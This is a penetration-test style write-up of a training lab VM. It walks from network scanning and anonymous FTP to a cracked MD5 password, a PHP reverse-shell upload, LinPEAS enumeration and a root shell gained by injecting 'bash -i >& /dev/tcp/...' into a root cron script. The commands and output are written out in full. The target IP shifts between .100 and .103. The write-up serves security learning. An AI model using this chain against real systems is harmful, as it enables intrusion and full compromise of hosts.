

Vulnerability Assessment & Penetration Testing (VAPT) Report

Target: Academy VM (Lab Environment)

1. Scope:

- **Objective:** Perform vulnerability identification and exploitation on the Academy VM.
- **In-scope:** Host discovery, port scanning, enumeration, exploitation, privilege escalation.
- **Environment:** Local network (192.168.1.0/24).

2. Findings:

2.1 Host Discovery and Port Scanning

- **Command Executed:**

```
nmap 192.168.1.0/24
```

- **Results:**

Host IP	Open Ports & Services	MAC Address	Notes
192.168.1.1	22 (SSH), 53 (DNS), 80 (HTTP), 1900 (UPnP)	50:91:E3:03:CE:D0 (TP-Link)	Likely gateway/router
192.168.1.100	21 (FTP), 22 (SSH), 80 (HTTP)	08:00:27:35:71:AC (VirtualBox NIC)	Candidate target (Academy VM)
192.168.1.101	135 (MSRPC), 139 (NetBIOS), 445 (SMB), 902, 912, 3306 (MySQL), 5357	A4:F9:33:8C:41:DC (Windows host)	Not target
192.168.1.104	7 (Echo - filtered)	0A:51:33:67:18:24 (Unknown)	No major services

- **Observation:**

- The main target is **192.168.1.100** because it's a VirtualBox machine with **FTP**, **SSH**, and **HTTP** open.
- Other IPs are normal devices on the network and not important for this lab.

- **POC:**

```
(kali㉿kali)-[~]
└─$ nmap 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-10 14:11 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0027s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
1900/tcp  open  upnp
MAC Address: 50:91:E3:03:CE:D0 (TP-Link Limited)

Nmap scan report for 192.168.1.100
Host is up (0.00079s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 08:00:27:35:71:AC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.1.101
Host is up (0.00094s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
902/tcp    open  iss-realservice
912/tcp    open  apex-mesh
3306/tcp   open  mysql
5357/tcp   open  wsdapi
MAC Address: A4:F9:33:8C:41:DC (Intel Corporate)

Nmap scan report for 192.168.1.104
Host is up (0.0080s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
7/tcp     filtered echo
MAC Address: 0A:51:33:67:18:24 (Unknown)

Nmap scan report for 192.168.1.105
Host is up (0.0000030s latency).
All 1000 scanned ports on 192.168.1.105 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Nmap done: 256 IP addresses (5 hosts up) scanned in 21.37 seconds
```

2.2 Service and OS scan:

- **Command Executed:**

```
nmap -p- -sV -O -T4 192.168.1.103
```

- **Results:**

Port	State	Service	Version	Notes
21	Open	FTP	vsftpd 3.0.3	Test for anonymous login / weak creds
22	Open	SSH	OpenSSH 7.9p1 Debian 10+deb10u2	Possible brute force or outdated configs
80	Open	HTTP	Apache httpd 2.4.38 (Debian)	Web server enumeration required

- **Host Information:**

- OS Detected: Linux kernel 4.15–5.19 / OpenWrt 21.02 (Linux 5.4) / MikroTik RouterOS 7.2–7.5 (Linux 5.6.3)
- Device: VirtualBox VM (MAC: 08:00:27:35:71:AC)

- **Observation:**

- Three open ports identified: 21 (FTP), 22 (SSH), 80 (HTTP).
- FTP may allow anonymous login or weak credentials.
- SSH can be tested for brute force or outdated configuration issues.
- Apache 2.4.38 may contain known vulnerabilities and requires enumeration.

- **POC:**

```
(kali@kali)~$ nmap -p- -sV -O -T4 192.168.1.100
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-10 14:23 EDT
Nmap scan report for 192.168.1.100
Host is up (0.0031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
MAC Address: 08:00:27:35:71:AC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose/router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.51 seconds
```

2.3 FTP Anonymous Login:

- **Command Executed:**

ftp 192.168.1.100

- **Results:**

Step	Output
Connect to service	220 (vsFTPd 3.0.3)
Login attempt	Username: anonymous, Password: anonymous → Login successful
Directory listing	File found: note.txt (776 bytes, owned by UID 1000, GID 1000)

- **Observations:**

- FTP allows anonymous login without credentials.
- Successful access reveals at least one file: note.txt.
- This file may contain sensitive information useful for further exploitation.

- **POC:**

```
(kali㉿kali)-[~]
└─$ ftp 192.168.1.100
Connected to 192.168.1.100.
220 (vsFTPd 3.0.3)
Name (192.168.1.100:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||60155|)
150 Here comes the directory listing.
-rw-r--r--  1 1000  1000    776 May 30  2021 note.txt
226 Directory send OK.
ftp> ls
```

2.4 Sensitive file disclosure:

- **Command executed:**

After ftp login:

ls

get note.txt

cat note.txt

- **Results:**

Step	Output/Details
Directory Listing	note.txt (776 bytes, UID 1000, GID 1000, May 30 2021)
File Retrieval	note.txt downloaded successfully
File Content	Reveals SQL insert into students table with credentials: • StudentRegno: 10201321 • Password Hash (MD5): cd73502828457d15655bbd7a63fb0bc8 • StudentName: Rum Ham
Hash Cracking	MD5 hash resolved to plaintext password: student

- **Observations:**

- FTP misconfiguration allows anonymous access.
- **note.txt** exposed sensitive data including database structure and credentials.
- The recovered login is:
 - **StudentRegno:** 10201321
 - **Password:** student
- Password is stored as **MD5 hash**, which is outdated and vulnerable to cracking.
- This information directly supports authentication attacks against the academy web application.

- POC:

```
(kali@kali)~$ ftp 192.168.1.100
Connected to 192.168.1.100.
220 (vsFTPd 3.0.3)
Name (192.168.1.100:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||50378|)
150 Here comes the directory listing.
-rw-r--r-- 1 1000 1000 776 May 30 2021 note.txt
226 Directory send OK.
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||44360|)
150 Opening BINARY mode data connection for note.txt (776 bytes).
100% |*****|
226 Transfer complete.
776 bytes received in 00:00 (29.10 KiB/s)
ftp>
```

- note.txt file contents:

```
1 Hello Heath !
2 Grimmie has setup the test website for the new academy.
3 I told him not to use the same password everywhere, he will change it ASAP.
4
5
6 I couldn't create a user via the admin panel, so instead I inserted directly into the database with the following command:
7
8 INSERT INTO `students` (`StudentRegno`, `studentPhoto`, `password`, `studentName`, `pincode`, `session`, `department`, `semester`, `cgpa`, `creationdate`, `upadationDate`) VALUES
9 ('10201321', '', 'cd73502828457d15655bbd7a63fb0bc8', 'Rum Ham', '777777', '', '', '7.60', '2021-05-29 14:36:56', '');
10
11 The StudentRegno number is what you use for login.
12
13
14 Le me know what you think of this open-source project, it's from 2020 so it should be secure... right ?
15 We can always adapt it to our needs.
16
17 -jdelta
18
```

- Password hashing:

Md5 hash calculated hash digest	Md5 value Reversed hash value
cd73502828457d15655bbd7a63fb0bc8	student
 Copy Hash	 Copy Value

2.5 Web Application Login Attempt:

- **Command/Action:**

- Navigate to: `http://192.168.1.103/academy`
- Open the **Student Login form**.
- Enter credentials obtained from note.txt:
 - **StudentRegno:** 10201321
 - **Password:** student

- **Result:**

- Login successful.
- Access granted to the **Student Portal**

- **Observation:**

- Credentials leaked through note.txt allowed direct access to the application.
- Confirms **insecure password storage** and poor access control.
- This validates a complete attack chain: FTP → Information Disclosure → Credential Cracking → Web Login.

- **POC:**

ONLINE COURSE
REGISTRATION

PLEASE LOGIN TO ENTER

Enter Reg no :

Enter Password :

This is a free bootstrap admin template with basic pages you need to craft your project. Use this template for free to use for personal and commercial use.
Some of its features are given below :

- Responsive Design Framework Used
- Easy to use and customize
- Font awesome icons included
- Clean and light code used.

© 2020 Online Course Registration

- Login successful:

The image is a screenshot of a web application for online course registration. At the top, a dark blue header bar contains the text "Welcome, Rum Ham" and "Last Login: at". Below this, a light blue navigation bar features the text "ONLINE COURSE REGISTRATION" and a circular icon with a person and a plus sign. A dark blue horizontal bar below the navigation bar contains the links: "ENROLL FOR COURSE", "ENROLL HISTORY", "MY PROFILE", "CHANGE PASSWORD", and "LOGOUT". The main content area has a light blue background and is titled "STUDENT REGISTRATION" in bold black text, underlined. Below the title, a white box contains the following information: "Student Registration" (header), "Student Record updated Successfully!!" (green message), "Student Name" (text input field with "Rum Ham"), "Student Reg No" (text input field with "10201321"), "Pincode" (text input field with "777777"), and "CGPA" (text input field with "7.60"). At the bottom of the screen, a dark blue status bar shows "Read 192.168.1.103" on the left and a Windows taskbar on the right with various icons and the text "Right Click".

2.6 Reverse Shell via File Upload:

- **Command/actions:**

- Uploaded the payload (php-reverse-shell.php) through the **Student Registration** page → **Image Upload** section.
- Set up a Netcat listener on attacker machine:
`nc -lvnp 1234`

- **Result:**

- Connection established from target (192.168.1.103) to attacker (192.168.1.105)
- System info retrieved: Linux academy 4.19.0-16-amd64 x86_64 GNU/Linux
- Current user: `www-data`

- **Observation:**

- Reverse shell successfully achieved with **www-data** (web server) privileges.
- Confirms **remote code execution (RCE)** vulnerability due to improper file upload validation.

- **POC:**

- Reverse shell access on port 1234:

```
(kali@kali)-[~]
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.1.105] from (UNKNOWN) [192.168.1.103] 46720
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
02:23:07 up 38 min, 0 users, load average: 0.00, 0.00, 0.06
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
```

- Uploaded payload in image upload section:

STUDENT REGISTRATION

Student Registration

Student Record updated Successfully !!

Student Name

Student Reg No

Pincode

CGPA

Student Photo

Upload New Photo

php-reverse-shell.php

2.7 Privilege Escalation Enumeration (LinPEAS):

- **Command/Action:**

On attacker machine (Kali):

```
python3 -m http.server 80
```

On target reverse shell:

```
cd /tmp
```

```
wget http://192.168.1.105/linpeas.sh
```

```
chmod +x linpeas.sh
```

```
./linpeas.sh
```

- **Result:**

- Local user identified: **grimmie** (non-root but part of the administrator group).
- Web config file discovered:
 /var/www/html/academy/admin/includes/config.php.
 - May contain **database credentials** or other sensitive information.

- **Observation:**

- The grimmie user account is a high-value target for lateral movement or privilege escalation due to membership in the administrator group.
- Application config file (config.php) likely contains hardcoded credentials that could be used to access the database or other services.

- **POC:**

- linpeas execution on target machine:

```
$ pwd
/tmp
$ wget http://192.168.1.105/linpeas.sh
--2025-09-11 06:58:44-- http://192.168.1.105/linpeas.sh
Connecting to 192.168.1.105:80 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'

0K ..... 5% 1.48M 1s
50K ..... 10% 2.15M 0s
100K ..... 15% 2.70M 0s
150K ..... 21% 41.1M 0s
200K ..... 26% 164M 0s
250K ..... 31% 84.2M 0s
300K ..... 37% 208M 0s
350K ..... 42% 68.3M 0s
400K ..... 47% 225M 0s
450K ..... 53% 286M 0s
500K ..... 58% 186M 0s
550K ..... 63% 5.47M 0s
600K ..... 69% 18.3M 0s
650K ..... 74% 193M 0s
700K ..... 79% 5.02M 0s
750K ..... 85% 6.52M 0s
800K ..... 90% 45.9M 0s
850K ..... 95% 376M 0s
900K ..... 100% 311M=0.1s

2025-09-11 06:58:44 (8.51 MB/s) - 'linpeas.sh' saved [961834/961834]

$ ls
linpeas.sh
$ chmod +x linpeas.sh
$ ./linpeas.sh
```

- linpeas output:

```
Processes, Crons, Timers, Services and Sockets

Running processes (cleaned)
Check weird $ unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root 1 0.0 1.0 10384 10196 ? Ss 01:44 0:02 /sbin/init
root 240 0.0 0.5 22064 5060 ? Ss 01:45 0:00 /lib/systemd/systemd-udevd
systemd+ 279 0.0 0.6 93084 6424 ? Ssl 01:45 0:00 /lib/systemd/systemd-timesyncd
└─(caps) 0:0000000020000000:cap_sys_time
message+ 310 0.0 0.4 8980 6300 ? Ss 01:45 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
└─(caps) 0:0000000020000000:cap_audit_write
root 315 0.0 0.2 8504 2828 ? Ss 01:45 0:00 /usr/sbin/cron -f
root 1875 0.0 0.2 9416 2504 ? S 04:14 0:00 - /usr/sbin/CRON -f
root 1876 0.0 0.0 2388 696 ? Ss 04:14 0:00 - /bin/sh -c /home/grimmie/backup.sh
root 1877 0.0 0.3 6644 3200 ? S 04:14 0:00 - /bin/bash /home/grimmie/backup.sh
root 1881 0.0 0.3 6500 3748 ? S 04:14 0:00 - bash -i
root 316 0.0 0.5 225824 5592 ? Ssl 01:45 0:00 /usr/sbin/rsyncd -n -lNONE
root 319 0.0 0.7 19520 7360 ? Ss 01:45 0:00 /lib/systemd/systemd-logind
root 336 0.0 0.5 9488 5760 ? Ss 01:45 0:01 /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
root 355 0.0 0.2 6020 2964 ? Ss 01:45 0:00 /usr/sbin/sshd -D
root 358 0.0 0.1 5612 1488 tty1 Ss+ 01:45 0:00 /sbin/agetty -o -p -- --noclear tty1 linux
root 379 0.0 0.6 15852 7024 ? Ss 01:45 0:00 /usr/sbin/sshd -D
grimmie 1850 0.0 0.5 16096 5176 ? S 04:10 0:00 - sshd: grimmie@pts/0
grimmie 1851 0.0 0.4 7652 4636 pts/0 Ss+ 04:10 0:00 - -bash
root 450 0.0 2.3 215020 23564 ? Ss 01:45 0:04 /usr/sbin/apache2 -k start
www-data 472 0.0 1.9 215744 19832 ? S 01:45 0:00 - /usr/sbin/apache2 -k start
www-data 473 0.0 1.9 215512 19524 ? S 01:45 0:00 - /usr/sbin/apache2 -k start
www-data 474 0.0 1.9 215620 19692 ? S 01:45 0:00 - /usr/sbin/apache2 -k start
www-data 3328 0.0 0.0 2388 756 ? S 06:17 0:00 | sh -c uname -aj w; id; /bin/sh -i
www-data 3332 0.0 0.0 2388 760 ? S 06:17 0:00 | - /bin/sh -i
www-data 475 0.0 1.9 215520 19376 ? S 01:45 0:00 - /usr/sbin/apache2 -k start
www-data 476 0.0 1.9 215496 19220 ? S 01:45 0:00 - /usr/sbin/apache2 -k start
www-data 721 0.0 1.6 215496 19180 ? S 02:04 0:00 | /usr/sbin/apache2 -k start
www-data 3362 0.0 0.0 2388 756 ? S 06:50 0:00 | sh -c uname -aj w; id; /bin/sh -i
www-data 3366 0.0 0.1 2388 1500 ? S 06:50 0:00 | - /bin/sh -i
www-data 3441 0.0 0.2 3340 2588 ? S 06:59 0:00 | - /bin/sh ./linpeas.sh
www-data 6185 0.0 0.1 3340 1040 ? S 07:03 0:00 | - /bin/sh ./linpeas.sh
www-data 6189 0.0 0.2 7780 2808 ? R 07:03 0:00 | | - ps fauxmme
www-data 6188 0.0 0.1 3340 1040 ? S 07:03 0:00 | | - /usr/sbin/apache2 -k start
www-data 730 0.0 1.9 215496 19380 ? S 02:05 0:00 - /usr/sbin/apache2 -k start
www-data 731 0.0 1.8 215612 19036 ? S 02:05 0:00 - /usr/sbin/apache2 -k start
www-data 732 0.0 1.9 215496 19428 ? S 02:05 0:00 - /usr/sbin/apache2 -k start
mysql 465 0.1 8.9 1274452 99568 ? Ssl 01:45 0:28 /usr/sbin/mysqld
root 4450 0.0 0.7 40296 7996 ? Ss 03:38 0:01 /lib/systemd/systemd-journald
grimmie 1841 0.0 0.8 21028 8272 ? Ss 04:10 0:00 /lib/systemd/systemd --user
grimmie 1842 0.0 0.2 105008 2260 ? S 04:10 0:00 - (sd-pam)

Processes with unusual configurations

Processes with credentials in memory (root req)
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#credentials-from-process-memory
gdm-password Not Found
gnome-keyring-dammon Not Found
lightdm Not Found
vsftpd process found (dump creds from memory as root)
apache2 process found (dump creds from memory as root)
sshd process found (dump creds from memory as root)
mysql process found (dump creds from memory as root)
```

2.8 Sensitive Information Disclosure (config.php file):

- **Command/Action:**

```
cd /var/www/html/academy/admin/includes
```

```
cat config.php
```

- **Result:**

- `$mysql_hostname = "localhost";`
- `$mysql_user = "grimmie";`
- `$mysql_password = "My_V3ryS3cur3_P4ss";`
- `$mysql_database = "onlinecourse";`

- **Observation:**

- The web application stores hardcoded credentials in **config.php**.
- Database credentials retrieved:
 - **Username:** grimmie
 - **Password:** My_V3ryS3cur3_P4ss
 - **Database:** onlinecourse
- User grimmie is also a system account (part of administrator group).
- High probability the same credentials can be reused for **system login**.

- **POC:**

- config.php file contents:

```
(kali@kali)-[~]
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.1.105] from (UNKNOWN) [192.168.1.103] 47232
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
07:22:43 up 5:37, 1 user, load average: 0.00, 0.01, 0.03
USER      TTY      FROM          LOGIN@   IDLE   JCPU   PCPU WHAT
grimmie pts/0    192.168.1.105 04:10    3:08m  0.04s  0.04s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ cd var/www/html/academy/admin
$ ls
assets
change-password.php
check_availability.php
course.php
department.php
edit-course.php
enroll-history.php
includes
index.php
level.php
logout.php
manage-students.php
print.php
semester.php
session.php
student-registration.php
user-log.php
$ cd includes
$ ls
config.php
footer.php
header.php
menubar.php
$ cat config.php
<?php
$mysql_hostname = "localhost";
$mysql_user = "grimmie";
$mysql_password = "My_V3ryS3cur3_P4ss";
$mysql_database = "onlinecourse";
$bd = mysqli_connect($mysql_hostname, $mysql_user, $mysql_password, $mysql_database) or die("Could not connect database");
```

2.9 SSH Login as User grimmie:

- **Command/Action:**

```
ssh grimmie@192.168.1.103
```

```
# Password: My_V3ryS3cur3_P4ss
```

- **Result:**

- Login successful.
- Current user: **grimmie**.
- Home directory contains **backup.sh**.
- Script content modified to include reverse shell payload:

```
bash -i >& /dev/tcp/192.168.1.105/8080 0>&1
```

- **Observation:**

- Valid credentials from config.php allowed **SSH access** as grimmie.
- **backup.sh** is writable by user grimmie and executed automatically by root on a recurring schedule.
- By adding a reverse shell payload, each scheduled execution connects back with **root privileges**, completing privilege escalation.

- **POC:**

```
(kali㉿kali)-[~]  
$ ssh grimmie@192.168.1.103  
grimmie@192.168.1.103's password:  
Permission denied, please try again.  
grimmie@192.168.1.103's password:  
Permission denied, please try again.  
grimmie@192.168.1.103's password:  
Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Thu Sep 11 04:07:22 2025 from 192.168.1.105  
grimmie@academy:~$ ls  
backup.sh  
grimmie@academy:~$ nano backup.sh  
grimmie@academy:~$ cat backup.sh  
#!/bin/bash  
  
rm /tmp/backup.zip  
zip -r /tmp/backup.zip /var/www/html/academy/includes  
chmod 700 /tmp/backup.zip  
bash -i >& /dev/tcp/192.168.1.105/8080 0>&1  
grimmie@academy:~$ █
```


2.10 Root Shell via Scheduled Task Exploitation:

- **Command/Action:**

- Modified /home/grimmie/backup.sh to include a reverse shell payload.
- Started a listener on attacker machine:

```
nc -lvnp 8080
```

- **Result:**

- Received connection from target as root.
- Verified privileges:

```
Whoami : root
```

- **Observation:**

- Writable scheduled task script (backup.sh) allowed **code injection**.
- Since the scheduled task executed it as **root**, the injected reverse shell granted **full system compromise**.
- Attack chain is complete:
FTP → File Disclosure → Credential Extraction → Web Login → File Upload (RCE) → LinPEAS Enumeration → SSH as grimmie → Scheduled Task Exploitation → Root Access.

- **POC:**

```
(kali@kali)-[~]
$ nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.1.105] from (UNKNOWN) [192.168.1.103] 43146
bash: cannot set terminal process group (1876): Inappropriate ioctl for device
bash: no job control in this shell
root@academy:~# whoami
whoami
root
root@academy:~# ls
ls
flag.txt
root@academy:~# cat flag.txt
cat flag.txt
Congratz you rooted this box !
Looks like this CMS isn't so secure...
I hope you enjoyed it.
If you had any issue please let us know in the course discord.

Happy hacking !
root@academy:~#
```

3. Final Summary:

- **Attack Path:**

1. **Host Discovery & Scanning**

- Found the Academy VM (192.168.1.103) with FTP, SSH, and HTTP services.

2. **FTP Anonymous Login**

- Logged in as **anonymous user**.
- Found a file note.txt with database info.

3. **Credential Extraction**

- Cracked the MD5 hash → password: student.
- Used it to log in to the web app.

4. **Web Exploitation**

- Uploaded a PHP reverse shell through the student registration page.
- Got access as www-data.

5. **Enumeration with LinPEAS**

- Found config.php with more credentials.
- Found a backup script (backup.sh) that runs as root.

6. **SSH Access**

- Logged in as grimmie using the credentials from config.php.

7. **Scheduled Task Exploitation**

- Edited backup.sh to add a reverse shell.
- Since the script runs as root, it gave full root access.

8. **Proof**

- Read the flag.txt file from /root/.

- **Conclusion**

The Academy VM was fully hacked because of:

- Anonymous FTP login
- Leaking files with sensitive data
- Weak MD5 password hashing
- Insecure file upload
- Config files with hardcoded passwords
- A writable backup script running as root

All these small issues combined gave full root access.